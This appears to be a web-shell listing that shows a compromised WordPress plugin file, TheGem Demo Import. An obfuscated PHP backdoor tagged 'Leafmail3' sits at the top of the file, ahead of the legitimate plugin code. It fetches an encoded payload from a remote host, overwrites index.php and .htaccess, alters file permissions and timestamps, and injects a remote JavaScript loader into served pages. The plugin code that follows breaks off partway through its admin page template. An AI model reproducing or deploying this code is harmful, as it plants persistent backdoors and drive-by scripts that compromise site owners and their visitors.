AlkantarClanX12

Your IP : 3.145.50.71


Current Path : /home/thanudqk/shenpokertour.com/wp-content/plugins/thegem-importer/
Upload File :
Current File : /home/thanudqk/shenpokertour.com/wp-content/plugins/thegem-importer/thegem-importer.php

<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php

/*
Plugin Name: TheGem Demo Import (for WPBakery)
Plugin URI: http://codex-themes.com/thegem/
Author: Codex Themes
Version: 5.7.0
Author URI: http://codex-themes.com/thegem/
*/

include_once ('inc/parse_content.php');
include_once ('inc/import-widgets.php');
include_once ('inc/easy-mailchimp-import.php');

define('THEGEM_IMPORT_URL' , 'http://democontent.codex-themes.com/sites-democontent/');
//define ('THEGEM_IMPORT_URL', 'http://localhost/democontent/');


$thegem_importer_work_time = 20;
$thegem_importer_end_work_time = time() + $thegem_importer_work_time;
function thegem_importer_time_ended() {
	global $thegem_importer_end_work_time;
	$time = time();
	write_log('check work time, '.($thegem_importer_end_work_time-$time).' seconds left');
	return time() > $thegem_importer_end_work_time;
}

if (!function_exists('write_log')) {
	function write_log($log) {
		if (WP_DEBUG) {
			if (is_array($log) || is_object($log)) {
				trigger_error(print_r($log, true));
			} else {
				trigger_error($log);
			}
		}
	}
}

register_activation_hook(__FILE__, 'thegem_importer_activate');
add_action('admin_init', 'thegem_importer_activation_redirect');
function thegem_importer_activate() {
	add_option('thegem_importer_do_activation_redirect', true);
}
function thegem_importer_activation_redirect() {
	if (get_option('thegem_importer_do_activation_redirect', false)) {
		delete_option('thegem_importer_do_activation_redirect');
		wp_redirect("admin.php?page=thegem-importer");
		exit;
	}
}

function thegem_importer_get_purchase() {
	if(!defined('ENVATO_HOSTED_SITE')) {
		$theme_options = get_option('thegem_theme_options');
		if($theme_options && isset($theme_options['purchase_code'])) {
			return $theme_options['purchase_code'];
		}
	} else {
		return 'envato_hosted:'.(defined('SUBSCRIPTION_CODE') ? SUBSCRIPTION_CODE : '');
	}
	return false;
}

if(!function_exists('thegem_is_plugin_active')) {
	function thegem_is_plugin_active($plugin) {
		include_once(ABSPATH . 'wp-admin/includes/plugin.php');
		return is_plugin_active($plugin);
	}
}

add_action('admin_menu', 'thegem_importer_submenu_page', 20);
function thegem_importer_submenu_page() {
	add_submenu_page('thegem-theme-options', 'TheGem Import', 'Demo Import', 'manage_options', 'thegem-importer', 'thegem_importer_page');
}
add_action('admin_menu', 'thegem_importer_submenu_page_new', 30);
function thegem_importer_submenu_page_new() {
	add_submenu_page('thegem-dashboard-welcome', 'TheGem Import', 'Demo Import', 'manage_options', 'thegem-importer', 'thegem_importer_page');
}

function thegem_importer_scripts($hook) {
	if($hook == 'thegem_page_thegem-importer' || $hook == 'admin_page_thegem-importer') {
		wp_enqueue_script('thegem-importer-scripts', plugins_url( '/js/ti-scripts.js' , __FILE__ ), array('jquery', 'jquery-fancybox', 'jquery-ui-autocomplete'), false, true);
		wp_localize_script('thegem-importer-scripts', 'thegem_importer_data', array(
			'ajax_url' => admin_url('admin-ajax.php'),
			'ajax_error_msg' => '<p class="error-message">'.__('Ajax error. Try again...', 'thegem-importer').'</p>',
			'ajax_error_content' => thegem_importer_error_content('ajax'),
			'get_imports_list_msg' => '<p class="loading-text">'.__('Getting imports list...', 'thegem-importer').'</p>',
			'load_import_step_1_msg' => '<p class="loading-text">'.__('Getting import data...', 'thegem-importer').'</p>',
			'load_import_step_2_msg' => '<p class="loading-text">'.__('Getting import data...', 'thegem-importer').'</p>',
			'load_import_step_3_msg' => '<p class="loading-text">'.__('Preparing import data...', 'thegem-importer').'</p>',
			'load_import_step_4_msg' => '<p class="loading-text">'.__('Prepare to finish...', 'thegem-importer').'</p>',
			'load_import_step_finalize_msg' => '<p class="loading-text">'.__('Finalizing import...', 'thegem-importer').'</p>',
			'load_import_step_css_msg' => '<p class="loading-text">'.__('Generating CSS file...', 'thegem-importer').'</p>',
			'load_remove_demo_msg' => '<p class="loading-text">'.__('Removing demo content...', 'thegem-importer').'</p>',
		));
		wp_enqueue_style('thegem-import-css', plugins_url( '/css/ti-styles.css' , __FILE__ ), 'jquery-fancybox');
	}
}
add_action('admin_enqueue_scripts', 'thegem_importer_scripts');

function thegem_importer_page() {
	global $thegemThemeOptions;

	if (isset($thegemThemeOptions)) {
		$thegemThemeOptions->prePageWrapper('thegem-importer');
	}
	require_once(ABSPATH . 'wp-admin/includes/file.php');
	require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php');
	require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-direct.php');
	$wp_upload_dir = wp_upload_dir();
	$importer_dir = $wp_upload_dir['basedir'] . '/thegem-importer';
	WP_Filesystem();
	$fs = new WP_Filesystem_Direct(false);
	$fs->rmdir($importer_dir, true);
?>
<div class="wrap">
	<div class="thegem-importer-header">
		<div class="thegem-importer-logo"><img src="<?php echo plugins_url( '/images/logo.png' , __FILE__ ) ?>" alt="TheGem Import"></div>
		<div class="thegem-importer-title"><?php _e('Import of pre-built demos', 'thegem-importer'); ?></div>
		<div class="thegem-importer-remover"><a href="#"><?php _e('Remove demo content', 'thegem-importer'); ?></a></div>
	</div>
	<div class="thegem-importer-content">
	<?php if(thegem_is_plugin_active('wordpress-importer/wordpress-importer.php')) : ?>
		<p class="error-message"><?php printf(__('It seems that Wordpress Import Plugin is active. Please deactivate Wordpress Import Plugin on <a href="%s">plugins page</a> to proceed with import of TheGem\'s main demo content.', 'thegem-importer'), admin_url('plugins.php')); ?></p>
	<?php elseif(get_template() != 'thegem') : ?>
		<p class="error-message"><?php _e('Your current activated theme in not TheGem main parent theme. Please note, that this import works only with TheGem main parent theme. Please activate TheGem main parent theme before proceeding with import.', 'thegem-importer'); ?></p>
	<?php elseif(!thegem_is_plugin_active('thegem-elements/thegem-elements.php')) : ?>
		<p class="error-message"><?php _e('Plugin "TheGem Theme Elements" is not active.', 'thegem-importer'); ?></p>
	<?php elseif(!thegem_importer_get_purchase()) : ?>
		<?php if(!defined('ENVATO_HOSTED_SITE')) : ?>
			<p class="error-message"><?php printf(__('Please activate TheGem to get access to pre-built demos. <a href="%s">Activate now</a>', 'thegem-importer'), admin_url(class_exists('ThegemThemeOptions') ? 'admin.php?page=thegem-dashboard-welcome':'admin.php?page=thegem-theme-options#activation')); ?></p>
		<?php endif; ?>
	</div>
	<?php else : ?>
		<p class="loading-text"><?php _e('Checking purchase code...', 'thegem-importer'); ?></p>
	<?php endif; ?>
